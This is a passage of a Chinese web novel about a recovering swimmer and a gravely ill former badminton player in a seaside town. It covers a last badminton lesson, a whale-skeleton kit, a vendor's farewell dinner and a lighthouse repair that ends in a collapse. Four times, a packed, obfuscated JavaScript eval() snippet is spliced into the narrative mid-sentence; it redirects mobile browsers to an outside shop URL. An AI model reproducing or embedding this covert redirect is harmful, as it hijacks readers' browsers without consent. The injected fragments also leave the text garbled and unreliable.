“还是七个球？”苏晚禾问。 “嗯。” 谢临洲发球。他的动作依然标准，但苏晚禾能看出来，他的力量比上次弱了很多。球飞过来，轻飘飘的，她轻易就接住了。 几个回合后，苏晚禾发现了问题：谢临洲只打高远球。他把每个球都打到她后场，让她满场跑动，而他自己几乎不动位置。 “你在让着我？”她问。 “没有。”些临洲说，“我在教你。” “教我什么？” “跑动。”谢临洲说，“羽毛球最重要的不是手法，是步法。你脚步太慢，总等球到了才动。要预判，然后提前启动。” 他又发了一个高远球。这次苏晚禾试着提前移动，果然接得更轻松了。 “对，就这样。”谢临洲说，“记住这种感觉。” 他们打了二十分钟。比分一直交替上升，但苏晚禾知道，谢临洲在控制局面。他每次都能把球打到她最不舒服的位置，逼她练习不同的步法：前后跑，左右移动，急停转身...... 打到第四个球事，谢临洲突然停下来，撑着膝盖喘气。汗水顺着他的额头流下来，脸色白得吓人。 “休息一下。”苏晚禾说。 “不用。”谢临洲直起身，“继续。” 但他的动作明显慢了。苏晚禾能看出来，他在硬撑。每一次挥拍，每一次移动，都像是用尽了全部力气。 第五个球，谢临洲打出了一个漂亮的斜线球。苏晚禾跑到网球接起，回了个后场。谢临洲后退，跳起—— 他做了一个杀球动作，但没有杀，而是轻轻把球吊到网前。 苏晚禾上网接球，谢临洲已经等在网前，轻轻一挑—— 球擦着网过去，落地得分。 “4：1。”谢临洲说，声音有些喘。 苏晚禾看着他。他站在那里，汗水浸湿了运动服，贴在瘦削的身体上。但他的眼睛很亮，像燃烧着什么。 “继续。”他说。 第六个球打了很久。谢临洲开始教她往网前技术：搓球，放网，勾对角。每个动作他都示范得很仔细，虽然体力不支，但动作依然标准。 “手腕要放松。”他一边做一边说，“像这样，轻轻一点......” 苏晚禾跟着学。她发现写临洲的教学方向变了，不像以前那样只说要点，而是每一个细节都讲解得很清楚，像是在......在留下什么。 最后一个球。谢临洲发了个高远球，然后站在原地不动了。他看着苏晚禾跑到位，接球，回球。球飞过来时，他没有接，而是让球落在地上。 “5：2”他说，“我赢了。” 苏晚禾愣住：“你为什么不接？” “因为该教的都教完了。”谢临洲走到墙边，靠着墙坐下，“剩下的，你要自己练。” 苏晚禾走过去，在他旁边坐下。两人都喘着气，汗水滴在地板上，很快被灰尘吸收。 球馆里很安静。远处的海浪声隐约传来，还有风声穿过破损窗户的呜咽。 “我刚开始打球的时候，也在这个球馆。”谢临洲突然开口，“那时候才八岁，教练说我太瘦，不合适打羽毛球。我不服气，每天放学就来这里练，对墙打，打到天黑。” 他顿了顿，继续说：“后来进了市队，省队，还是经常回来。这里的地板熟悉我的脚步，墙壁记得我挥拍的声音。有时候训练累了，我就想，等我退役了，要回来当教练，教这里的孩子打球。” 苏晚禾安静地听着。 “现在......”谢临洲看着空荡的场地，“现在它要没了。” 他的声音很平静，但苏晚禾听出了里面的难过。 “对不起。”她说。 “为什么道歉？” “我......我不知道该说什么。” 谢临洲笑了：“你不用说什么。陪我打完这场球，就够了。” 他们又在球馆里坐了一会。谢临洲站起来，走到墙壁，从球拍包里掏出一支马克笔。 “你要干什么？”苏晚禾问。 “留个纪念。” 谢临洲在墙上找了一块相对干净的墙面，开始写字。他的字很工整，一笔一划： “谢临洲，2012—2022，在此训练。 苏晚禾，2022年，再此学习。 愿每个热爱运动的人，都能找到属于自己的球场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933704|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 再见了，老朋友。” 写完，他放下笔，后退两步，看着那些字。 “你也写一句？”他问苏晚禾。 苏晚禾接过笔。她想了想，在谢临洲的字下面，写了一行小字： “谢谢你教我打球。我会好好练的。——苏晚禾” 放下笔，两人并肩站着，看着墙上的字。午后的阳光从窗户斜射进来，正好照在那块墙面上，字迹再光影中格外清晰。 “走吧。”谢临洲说。 他们收拾好东西，最后看了一眼球馆。谢临洲走在前，苏晚禾跟在后面。走到门口时，谢临洲停下脚步，回头看了一眼。 那一眼很长，很深。 像要把整个球馆都装进眼睛里。 然后他转身，拉开门，走了出去。 门在身后关上时，发出沉重的响声。像是一声叹息。 回去的路上，两人走得很慢。些临洲的体力已经透支了，几乎每走几步就要停下来喘气。苏晚禾扶着他，能感觉到他全身的重量。 “谢临洲。”她轻声说。 “嗯？” “等你好了，我们在找个球馆。我陪你练。” 谢临洲沉默了很久，然后说：“好。” 但他们都清楚，可能没有那一天了。 走到谢临洲家楼下时，天已经开始暗了。路灯亮起来，在冬日的暮色中显得格外温暖。 “上去吧。”苏晚禾说，“好好休息。” “应该的。” 谢临洲转身上口。走到楼梯拐角时，他突然回头：“苏晚禾。” “嗯？” “以后也要好好打球。” 苏晚禾鼻子一酸，用力点头：“好。” “不管我在不在，都要好好打。游泳也是。” 这句话说得太直白，苏晚禾的眼泪一下子泳了出来。她赶紧低下头，不想让他看见。 “我上去了。”谢临洲说， “嗯。” 苏晚禾站在楼下，看着谢临洲房间的灯亮起来。然后她转身，慢慢往回走。 冬天的夜晚很冷，风像刀子一样刮在脸上。但她没觉得冷。 她脑子里全是刚才球馆里的画面：谢临洲挥拍的样子，他流汗的样子，他写字的样子，他最后回头看的样子...... 每个画面，都像刻在拉脑子里。 走到疗养院门口时，她回头看了一眼镇字的方向。 球馆在那里，但很快就要没了。 谢临洲在那里，但...... 她不敢往下想。 抬起头，天空中有几颗星星，很微弱，但倔强地亮着。 她想，也许有些东西，就算消失了，也会以另一种方式存在。 就像那个球馆，就算拆了，也会留在记忆里。 就像谢临洲教她那些技术，就算他不在了，她也会继续脸。 就像他们写在墙上的字，就算墙倒了，也会有人记得。 她深吸一口气，走进疗养院。 明天太阳还会升起。 而她会继续游泳，继续打球，继续活着。 带着他教给她的所有东西。 24. 第 24 章 第二十四章：鲸鱼骨标本制作指南 一月下旬，谢临洲收到一个包裹。 那天苏晚禾照例去给她送午饭，敲门后等了很久才开。谢临洲穿着睡衣，头发有些乱，手里拿着个拆了一半的快递箱。 “这是什么？”苏晚禾问。 “不知道。”谢临洲把箱子放在桌上，“刚送来的。” 箱子不大，外面站着快递单，寄件人那栏只写了“海洋生物爱好者协会”。谢临洲用剪刀拆开封条，打开箱子，里面是厚厚的泡沫填充物。 挖开泡沫，露出了里面的东西，一副完整的鲸鱼骨手工标本，大约半米长，每一块骨头都单独包装，附带着图纸和工具包。 “天啊。”苏晚禾凑过去卡，“这得多少钱？” 谢临洲从箱底拿出一张卡片：“应该是协会的送手工材料包。” 卡片上却是写着：“致谢临洲：感谢你坚持观星和海洋观测的记录。这份鲸鱼骨标本材料包是我们的小小心意，希望你能享受拼装的乐趣。——海洋生物爱好者协会。” “你认识他们？”苏晚禾问。 “在网上论坛交流过。”谢临洲拿起一块骨头，“他们知道我喜欢鲸鱼。” 骨头是乳白色的，打磨得很光滑，边缘贴着编号标签。工具包里有镊子、胶水、小刷子，还有一本详细的说明书。 “现在拼吗？”苏晚禾眼睛发亮。 “嗯。”谢临洲点头，“你帮我？” “当然！” 他们把桌子清理出来，铺上旧报纸。谢临洲按照说明书，先找出最大那块——脊柱骨。苏晚禾负责拆包装，小心地取出每一块骨头，按编号摆好。 “这是颈椎。”谢临洲指着弧形的骨头，“鲸鱼的颈椎很短，但很灵活，这样它们在水中才能灵活转向。” “那怎么什么都知道？”苏晚禾惊叹。 “看得多就记住了。”谢临洲拿起另一块，“这是肋骨。鲸鱼的肋骨很长，要保护巨大的胸腔。” 他们一块一块地拼。谢临洲负责指挥，苏晚禾负责打下手。拼装需要耐心，有些骨头很小，需要镊子夹着涂胶水，在小心翼翼地粘到正确的位置。 拼到三分之一时，苏晚禾的手机响了。是疗养院打来的，问她还回不回去吃午饭。 “我在朋友这吃过了。”她说，“下午在回去。” 挂掉电话，她看了眼谢临洲。他正专注地看着图纸，用镊子夹着一块小小的耳骨，准备粘到头骨上。阳光从窗外照进来，在他脸上投下柔和的影子。 “你不累吗？”她问。 “有点。”谢临洲是，“但想把它拼完。” 他们继续。头骨是最复杂的部分，有很多细小的骨头：上颌骨、下颌骨、颧骨、鼻骨......每一块都要对得很准，谢临洲的手很稳，虽然脸色常白，但动作一丝不苟。 拼装的过程中，他给苏晚禾讲解鲸鱼的知识。 “鲸鱼分为须鲸和齿鲸。须鲸没有牙齿，有鲸须板，像筛子一样过滤磷虾和小鱼。齿鲸有牙齿，捕食鱼类和乌贼。” “蓝鲸是最大的动物，心脏有一辆小汽车那么大。” “座头鲸会唱歌，歌声能传几百公里。” “虎鲸其实不是鲸，是海豚科的，但大家都叫它杀人鲸......” 苏晚禾认真听着。她发现谢临洲说起这些时，眼睛里有光，声音也比平时有力些。 下午三点，他们拼到了脊柱部分。脊柱由二十多块椎骨组成，每块都要对齐，不能有偏差。谢临洲已经有些累了，动作慢了下来。 “休息会吧。”苏晚禾说。 “把这一段拼完。” 他有坚持了二十分钟，终于把脊柱拼好了。看着桌子上初具雏形的鲸鱼骨架，他轻轻呼出一口气。 “好看吗？”他问。 “好看。”苏晚禾由衷地说，“像真的小鲸鱼。” 谢临洲靠在椅背上，闭上眼睛。他的呼吸有些急促，额头上渗出汗珠。 “很累？”苏晚禾担心地问。 “嗯。”谢临洲说，“但值得。” 休息了半小时，他们继续。最后的肋骨和鳍骨相对简单些，但也需要细心。太阳渐渐西斜，房间里的光线暗下来。苏晚禾打开台灯，暖黄的光照亮桌面。 下午五点，最后一块骨头，粘上了。 一副完整的鲸鱼骨架，展现在他们面前。半米长，乳白色的骨头在灯光下泛着温润的光泽。脊柱流畅的曲线，肋骨优美的弧度，骨头精致的结构......每一处都体现着造物的精妙。 两人静静地看着。房间里很安静，只有窗外隐约的海浪声。 “真美。”苏晚禾轻声说。 “嗯。”谢临洲伸出手，轻轻抚摸骨架的脊柱，“你知道鲸落吗？” “鲸落？” “鲸鱼死后，尸体会沉入海底。”谢临洲说，“这个过程叫鲸落。它的身体会成为深海生态系统的养料，养活很多生物：盲鳗、睡鲨、深海蟹......最后连骨头都会变细菌分解，变成海底的矿物质。” 他的手指沿着脊柱滑到尾椎：“一个鲸鱼的死亡，可以滋养一个生态系统上百年。所以科学家说，鲸落是深爱的生命绿洲。” 苏晚禾听着，心里涌起一种复杂的情绪。悲伤，但又不仅仅是悲伤。 “所以，”谢临洲抬起头看她，“生命结束，也可以说另一种开始。” 这句话他说得很轻，但落在苏晚禾耳朵里很重。 她突然明白了谢临洲为什么这么喜欢鲸鱼。不只是因为它们庞大、安静、会唱歌，更因为它们的死亡方向——不是消失，而是转化。从一种生命心态，变成无数生命的养分。 “你......”她张了张嘴，却不知道该说什么。 “我没事。”谢临洲笑了，“只是突然想带这些。” 他看着鲸鱼骨架，眼神很温柔：“也许有一天，我也会想鲸落一样。身体回归自然，变成别的什么......” “别说了。”苏晚禾的声音有些哽咽。 “好，不说了。”谢临洲从桌上拿起最后一个小零件——那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933705|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块小小的铭牌，上面刻着“鲸落：深海的生命循环。”他把它粘在底座上。 “完成了。”他说。 他们又看了很久，直到天色完全暗下来，苏晚禾才想起该回去了。 “我帮你收拾？”她问。 “不用。”谢临洲说，“我想再看会。” “那......我明天再来？” “好。” 苏晚禾离开时，回头看了一眼。谢临洲还坐在桌前，台灯的光晕把他和鲸鱼骨架笼在一起。他低着头，看着那些骨头，手指轻轻触碰着，像在跟老朋友说话。 回到疗养院，苏晚禾直接去了阅览室。她在电脑上查了“鲸落”的资料。 图片显示深海中的鲸鱼尸体，周围围绕着各种奇怪的生物：盲鳗在撕扯腐肉，睡鲨在啃食骨头，深海蟹在缝隙里爬行......然后是几年后的照片：骨头已经被微生物覆盖，像珊瑚礁一样。几十年后：骨头变成矿物质沉淀，周围长出了新的生物。 “一鲸落，万物生。”资料上这么写着。 苏晚禾看着那些图片，心里那点悲伤慢慢沉淀下来，变成一种更厚重的东西。 不是绝望，而是......接受。 接受生命的有限，接受死亡的必然，但也接受转化的可能。 她关上电脑，走到窗前。夜色中的大海漆黑一片，今晚有雾，看不见远处灯塔的光。 但她知道，灯塔在那里。 鲸鱼在那里。 谢临洲也在那里。 第二天，她在去谢临洲家事，鲸鱼骨架已经摆在了书桌最显眼的位置，挨着那个座头鲸玩偶和星星罐子。 “我给它起了个名字。”谢临洲说。 “什么名字。” “晚洲。” 苏晚禾愣了一下：“晚洲？” “嗯。晚禾的晚，临洲的洲。”谢临洲说，“我们俩名字的组合。” 苏晚禾看着那副骨架，心里涌起一股暖流。 “好听。”她说。 谢临洲笑了：“我也觉得。” 他们站在桌前，看着“晚洲”。阳光照在骨头上，每一块都闪着微光。 “谢临洲。”苏晚禾突然说。 “嗯？” “如果......如果真有那一天，你要答应我一件事。” “什么事？” “你要变成一颗树。”苏晚禾说，“长在海边的那种。这样我每次去看海，都能看见你。” 谢临洲沉默了很久。然后点点头：“好。” “真的？” “真的。” 苏晚禾笑了，眼泪去掉了下来。她赶紧擦掉：“那说好了。” “说好了。” 他们拉钩，像小孩子一样。手指勾在一起，暖暖的。 窗外的海鸥飞过，叫声清脆。 阳光很好，照在“晚洲”上，照在他们身上。 一切都安静而美好。 像鲸落前的平静海面。 深沉，辽阔，孕育着无限的可能。 25. 第 25 章 第二十五章：海鲜摊的告别宴 二月初，海鲜摊老赵要搬走了。 消息是苏晚后去买鱼食，隔壁摊位的大婶说的：“老赵儿子在城里买了房，接他过去享福。摊位月底就转手，这几天正清货呢。” 苏晚禾愣了一眼，赶紧跑到老赵的摊位。摊位上还摆着各种海鲜，但明显比平时少了很多。老赵正在收拾东西，看见她，笑着打招呼：“晚禾来了？今天要什么？” “赵叔，你要走？”苏晚禾直接问。 老赵手里的动作顿了顿：“嗯。月底走。” “怎么没听你说？” “又不是什么大事。”老赵继续整理冰柜，“老了，该歇歇了。” 苏晚禾站在那里，突然不知道该说什么。老赵帮她熬过汤，给她食疗方子，关心谢临洲的病情......这个总是笑眯眯的大叔，已经成了她在云港很重要的一个人。 “什么时候走？我送你。”她最后说。 “不用送。”老赵摆摆手，“就悄悄地走，挺好。” “那......走之前一起吃顿饭？”苏晚禾说，“带上谢临洲，我们一起。” 老赵看着她真诚的眼神，想了想，点点头：“行。就今晚吧，我收摊早。” “好！我回去准备！” 苏晚禾匆匆赶回疗养院，把这个消息告诉了张阿姨。 张阿姨一听也很感慨：“老赵在这儿摆摊十几年了，说走就走......是该好好送送他。” 两人在厨房忙活起来。 张阿姨做了几个拿手菜：红烧肉、糖醋排骨、清蒸鱼、炒时蔬。 苏晚禾打下手，洗菜切菜，忙得不亦乐乎。 下午四点，她提着保温盒去找谢临洲。 “今晚在老赵那儿吃饭。”她说，“他要搬走了。” 谢临洲正在看书，听到这话抬起头：“搬去哪儿？” “城里，跟儿子住。” 谢临洲沉默了一会儿：“是该去享福了。” “我们去送送他？” “好。” 晚上六点，老赵准时收了摊。 他在摊位后面支了张小桌子，摆了三把塑料凳。 苏晚禾和谢临洲到的时候，他已经把摊位收拾干净，连冰柜都擦得锃亮。 “来了？”老赵招呼他们，“坐，坐。” 苏晚禾把保温盒一个个打开，菜还热着，香气扑鼻。 她又从包里拿出两瓶饮料，谢临洲不能喝酒，她也不喝。 “就这些？”老赵看了看，“不够丰盛啊。等着。” 他转身进了后面的小仓库，出来时端着一个大盘子，上面是刚蒸好的大螃蟹：“今天最后一天营业，留了几只好的，咱们自己吃。” “赵叔，这太贵重了......”苏晚禾说。 “贵重啥，不吃明天也得扔。”老赵把螃蟹放在桌子中央，“都坐下，开吃。” 三人围着小桌子坐下。天色已经暗了，老赵拉亮了摊位的灯，昏黄的灯光照出一片温暖的光晕。远处码头的灯火星星点点，海风带来咸湿的气息。 “来，第一口给晚禾。”老赵夹了块最大的螃蟹腿给苏晚禾，“辛苦了，天天往医院跑。” “谢谢赵叔。” “第二口给小谢。”老赵又夹了块给谢临洲，“多吃点，补补身子。” 谢临洲接过：“谢谢赵叔。” “谢啥，都是缘分。”老赵给自己也夹了块，一边剥壳一边说，“我在这摆摊十二年，见过的人多了。但像你俩这样的，少见。” “我们怎么了？”苏晚禾问。 “一个拼命想游，一个拼命想打。”老赵说，“都受了伤，都不认命，还互相搀扶着往前走。这样的，少见。” 苏晚禾和谢临洲对视一眼，都没说话。 “我老婆当年也是。”老赵继续说，声音有些低沉，“病了两年，我照顾了两年。那时候就觉得，能陪着，就是福气。” 他喝了口饮料，继续说：“所以我看你俩，就想起那时候。年轻人啊，要珍惜。能陪着的时候好好陪着，以后......以后的事，谁知道呢。” 这话说得有点沉重，气氛一时沉默。 “哎呀，说这些干啥。”老赵拍拍桌子，“吃菜吃菜！张阿姨这红烧肉做得地道！” 气氛又活跃起来。老赵讲起他这些年摆摊的趣事：有游客把活章鱼当玩具，结果被喷了一脸墨；有小孩偷偷往鱼盆里倒可乐，说是给鱼喝汽水；还有一次台风天，整个摊位被吹翻了，他在雨里捡了一晚上的鱼...... 苏晚禾和谢临洲听着，不时笑出声。 吃到一半，老赵突然放下筷子，看着谢临洲：“小谢，你以后有什么打算？” 谢临洲愣了一下：“打算？” “嗯。”老赵说，“病总要治，但日子也要过。有什么想做的事，趁着还能做，就去做。” 谢临洲沉默了一会儿：“我想......把观星的记录整理出来。这几年记了很多数据，想整理成册，留给以后的人参考。” “还有呢？” “还有......”谢临洲看了看苏晚禾，“想看她游一次泳。真正的游泳。” 苏晚禾鼻子一酸，低下头。 “这个好。”老赵点头，“晚禾你呢？” “我？”苏晚禾想了想，“等肩膀好了，我想回泳池试试。不比赛了，就游着玩。还有......想陪谢临洲整理那些记录。” “都挺好。”老赵笑了，“有想做的事，日子就有盼头。” 他又给自己倒了杯饮料，举起杯子：“来，碰一个。祝你们......都能完成想做的事。” 三人碰杯。塑料杯碰撞发出沉闷的响声，在夜晚的海风中显得格外温暖。 吃完饭，老赵开始收拾桌子。苏晚禾要帮忙，被他拦住了：“你们俩坐着，我最后收拾一次。” 他看着摊位的每一个角落：冰柜、秤、水盆、刀具......每一件东西都用布仔细擦拭，然后收进纸箱。 “这些东西怎么办？”苏晚禾问。 “留给接手的。”老赵说，“他是我表侄，人老实，会好好干。” 收拾完，老赵锁上摊位的小铁门。钥匙在手里转了几圈，最后放进口袋。 “走吧。”他说。 三人并肩走在码头上。夜晚的码头很安静，只有海浪拍打堤岸的声音。远处的灯塔规律地旋转着，光柱扫过海面。 走到岔路口，老赵停下脚步：“就到这儿吧。” “赵叔......”苏晚禾突然不知道该说什么。 “别难过。”老赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936801|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍拍她的肩，“我是去享福，又不是去受罪。” 他从口袋里掏出一个小布袋，递给苏晚禾：“这个给你。” 苏晚禾打开，里面是一串贝壳手链，各种颜色的小贝壳用细绳串在一起，在路灯下闪着微光。 “我自己串的。”老赵说，“不值钱，就是个念想。” “谢谢赵叔。”苏晚禾戴在手腕上，大小正好。 老赵又掏出一个东西，递给谢临洲。那是一块黑色的石头，被打磨得很光滑，上面刻着一条简笔画的鲸鱼。 “这是我在海边捡的，磨了好几年。”老赵说，“给你。鲸鱼......代表自由。” 谢临洲接过石头，握在手心里：“谢谢赵叔。” “好了，我走了。”老赵朝他们摆摆手，“你们俩好好的，啊？” “赵叔保重。”苏晚禾说。 “保重。”谢临洲也说。 老赵转身，朝镇子的方向走去。他的背影在路灯下显得有些佝偻，但脚步很稳。走到街道拐角时，他停下来，回头看了一眼。 然后挥了挥手，消失在夜色里。 苏晚禾和谢临洲站在原地，很久没动。 海风吹过来，带着咸味和凉意。 “我们也回去吧。”谢临洲说。 “嗯。” 两人往回走。手腕上的贝壳手链随着步伐轻轻碰撞，发出细碎的声响。谢临洲手里握着那块鲸鱼石头，一直没松手。 走到谢临洲家楼下，苏晚禾停下脚步。 “我上去了。”谢临洲说。 “好。” 谢临洲转身上楼。走到楼梯一半时，他突然回头：“苏晚禾。” “嗯？” “你答应我一件事。” “什么事？” “如果有一天我不在了，你......别太难过。”谢临洲说，“继续游泳，继续打球，继续好好生活。” 苏晚禾的眼泪一下子涌了出来。她用力点头，却说不出话。 “能做到吗？” “能。”她哑着声音说，“我能。” “那就好。”谢临洲笑了，“晚安。” “晚安。” 苏晚禾看着谢临洲上楼，房间的灯亮起来。她在楼下站了很久，直到手脚都冻麻了，才转身离开。 回疗养院的路上，她一直在想老赵说的话。 “有想做的事，日子就有盼头。” 是的，有盼头。 她想看谢临洲整理完观星记录。 想看他把那些数据变成一本厚厚的册子。 想看他在灯塔顶，指着星空说：“这些，我都记下来了。” 还有...... 她摸了摸手腕上的贝壳手链。 还有，要戴着这串手链，游一次泳。 给老赵看，给谢临洲看，给自己看。 远处传来海鸥的叫声，在夜空中显得格外清晰。 一下，又一下。 像在说什么。 又像什么都没说。 她抬起头，看着星空。 今晚天气很好，星星很亮。 她知道，有个人正在看同样的星空。 在记录，在整理，在......活着。 这就够了。 真的够了。 26. 第 26 章 第二十六章：灯塔维修计划与搁浅 天气回暖的迹象是从海风开始的。 不再是刺骨的湿冷，而是带着些许温度的微凉。沙滩上开始出现散步的人，疗养院的老人们也愿意到花园里坐坐了。苏晚禾站在泳池边，看着水面上的波光，突然意识到：春天来了。 她的肩膀恢复得越来越好。王医生说，如果保持这个进度，三月初就可以尝试真正的游泳训练了。 “等你能游了，第一件事是什么？”复健事，护士小陈问她。 苏晚禾想了想：“去海边，游给一个人看。” “谢临洲？” “嗯。” 小陈笑了：“那他一定很高兴。” 是的，他一定会高兴。苏晚禾想着，嘴角忍不住上扬。她要游五十米自由泳，让他计时。就像他们约定的那样。 周三晚上，她和谢临洲坐在灯塔顶层，海风吹得破旧的窗户嘎吱作响，灰尘从天花板的裂缝簌簌落下，掉在星图上。 “这地方快撑不住了。”苏晚禾说。 “嗯。”谢临洲正在擦拭望远镜的镜头，“镇政府说没钱修。” “我们自己修呢？” 谢临洲抬起头看她：“我们？” “对啊。”苏晚禾的眼睛亮起来，“反正你每周都来，我也每周都来。咱们一点点修，补窗户，加固楼梯，清理垃圾......总能好一点。” 谢临洲沉默了一会，然后点了点头：“可以试试。” 说干就干。第二天，苏晚禾就拉着谢临洲去了镇上的建材市场。市场不大，只有几家店铺卖水泥、木板、玻璃。他们买不起新玻璃，就买了最便宜的塑料板，打算先堵上破损最严重的几个窗户。 “还要刷漆。”苏晚禾指着灯塔剥落的红白漆皮，“这个我能干。” “梯子呢？”谢临洲问。 “疗养院仓库有，我去借。” 他们抱着塑料板、几桶油漆和工具回到灯塔。苏晚禾爬上去量尺寸，谢临洲在下面画图。虽然都不是专业木工，但胜在有耐心。 第一个周末，他们补了两扇窗户。苏晚禾负责切割塑料板，谢临洲负责打孔固定。塑料板比玻璃后，透光性差一些，但至少能挡风。 “等有钱了换玻璃。”苏晚禾一边拧螺丝一边说。 “嗯。” 补好窗户，塔顶果然暖和了些。至少风不再呼呼地往里灌了。 第二周，他们开始清理垃圾。灯塔底层推着不知道多少年前的废物：破渔网、生锈的铁桶、腐烂的木板......苏晚禾戴上手套一件件往外搬，谢临洲负责分类：能回收的放一边，不能回收的放另一边。 清理过程中，他们发现了一些有趣的东西：一个生锈的煤油灯，几张泛黄的海图，还有一个老式的罗盘。 “这些东西可能有些年头了。”谢临洲小心地拿起罗盘，指针居然还能动。 “留着吧。”苏晚禾说，“等修好了，放在灯塔里当装饰。” 第三周，他们开始修补楼梯。螺旋铁梯有几级已经锈蚀得严重，踩上去嘎吱作响，感觉随手会塌。苏晚禾借来了焊接工具，谢临洲负责扶着铁板，她负责焊接，这是她跟疗养院维修工学的，动作生疏，但还算稳当。本来维修工师傅说可以他来给他们焊，但苏晚禾拒绝了。 焊火花在昏暗的塔内飞溅，映亮了两人的脸。苏晚禾戴着防护面罩，汗从额头上流下来。谢临洲站在她身后，用手电筒照着焊接点。 “好了。”焊完最后一处，苏晚禾摘下防护罩，长出一口气。 谢临洲试了试那级楼梯，稳稳的。 “可以。”他说。 他们一阶一阶地检查、修补，用了两个下午的时间，把最危险的几级楼梯都加固了。虽然看起来还是旧，但至少安全了。 第四周，苏晚禾开始刷漆。她借来长梯，爬上去刷灯塔外墙。红色和白色的油漆交替，把剥落的地方一点点补上。谢临洲在下面帮她扶梯子，漆油漆桶。 “左边一点，对，那里还有一块没刷到。”他在下面指挥。 “知道了知道了。”苏晚禾一手抓着梯子，一手挥动刷子。油漆滴下来，落在她脸上，她也不在意。 刷到一半时，谢临洲突然说：“苏晚禾。” “嗯？” “谢谢你。” 苏晚禾低头看他。他站在下面，仰着头，阳光照在他脸上，他的眼睛很亮。 “谢什么？” “谢你做这些。”谢临洲说，“为了我。” “也是为了我自己。”苏晚禾继续刷漆，“我也喜欢这里。” 但他们都清楚，如果不是谢临洲每周要来，她可能不会这么上心。 刷完外墙，他们开始布置塔顶。苏晚禾把清理出来的老五件洗刷干净，摆在桌上：煤油灯放在角落，海图贴在墙上，罗盘放在望远镜旁边。她还从疗养院拿来了几盆绿萝，张阿姨说绿萝好养，不用经常浇水。 灯塔渐渐有了变化。窗户不漏风了，楼梯不响了，墙面变新了，塔顶还有了绿植。虽然还是很简陋，但至少像个能待人的地方了。 “还差什么？”苏晚禾环顾四周。 “窗帘。”谢临洲说，“晚上观星的时候，窗帘可以挡掉一些光污染。” “那去买。” 他们又去了趟市场，挑最便宜的深蓝色后布。苏晚禾借了疗养院的缝纫机，自己裁剪缝制。她没做过针线活，窗帘缝得歪歪扭扭，但挂上去后效果还不错。 “完美。”她欣赏着自己的作品。 “嗯。”谢临洲站在她身边，“很完美。” 一切都很顺利。直到那个下午。 那天他们计划去买最后一批材料——几块木板，用来修补塔顶的地板。苏晚禾提前查了价格，算了算手里的钱，够用。 “早点去，下午就能装上。”她对谢临洲说。 “好。” 他们走到建材市场。店老板是个中年男人，认识他们。 “又来啦？”老板笑着打招呼，“今天要什么？” “这几块木板。”苏晚禾指着角落的几块松木板，“多少钱？” 老板看了看：“算你们便宜点，一百二。” 苏晚禾正要掏钱，谢临洲突然说：“等等。” 他走到木板前，蹲下身仔细看。苏晚禾也蹲下来：“怎么了？” “这里。”谢临洲指着木板边缘的一条裂缝，“这是旧的，修补过的。” 老板脸色变了变：“小兄弟眼尖啊......这个确实修补过，但不影响使用。这样，再便宜二十，一百块拿走。” 苏晚禾看向谢临洲。谢临洲摇摇头：“我们买新板。” “新的贵啊。”老板说，“一样的尺寸，新的要一百八。” 苏晚禾算了手里的钱，只有一百五。 “那......”她犹豫了。 “不买了。”谢临洲站起来，“我们去别家看看。” “别家更贵。”老板说，“这镇上就我一家卖建材。” 谢临洲没说话，拉着苏晚禾往外走。走到门口时，他突然停下脚步，手撑着门框，身体晃了晃。 “怎么了？”苏晚禾赶紧扶住他。 谢临洲没回答，他的脸色突然变得煞白，额头上渗出冷汗。呼吸变得急促，整个人往下滑。 “谢临洲！”苏晚禾用里撑住他，“老板，帮帮忙！” 老板跑出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943853|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，帮她把谢临洲扶打到店里的椅子上。谢临洲闭着眼睛，嘴唇发紫，手紧紧按在胸口。 “他这是......”老板有些慌。 “他身体不好。”苏晚禾也慌了，“麻烦您帮我叫辆车，去医院！” 老板赶紧去叫车。苏晚禾蹲在谢临洲面前，握着他的手：“谢临洲，能听见我说话吗？坚持住，我们去医院。” 谢临洲睁开眼睛，眼睛涣散。他想说什么，但发不出声音。 车很快来了。老板和苏晚禾一起把谢临洲扶上车。去医院的路上，苏晚禾一直握着他的手，感觉到他的手越来越凉。 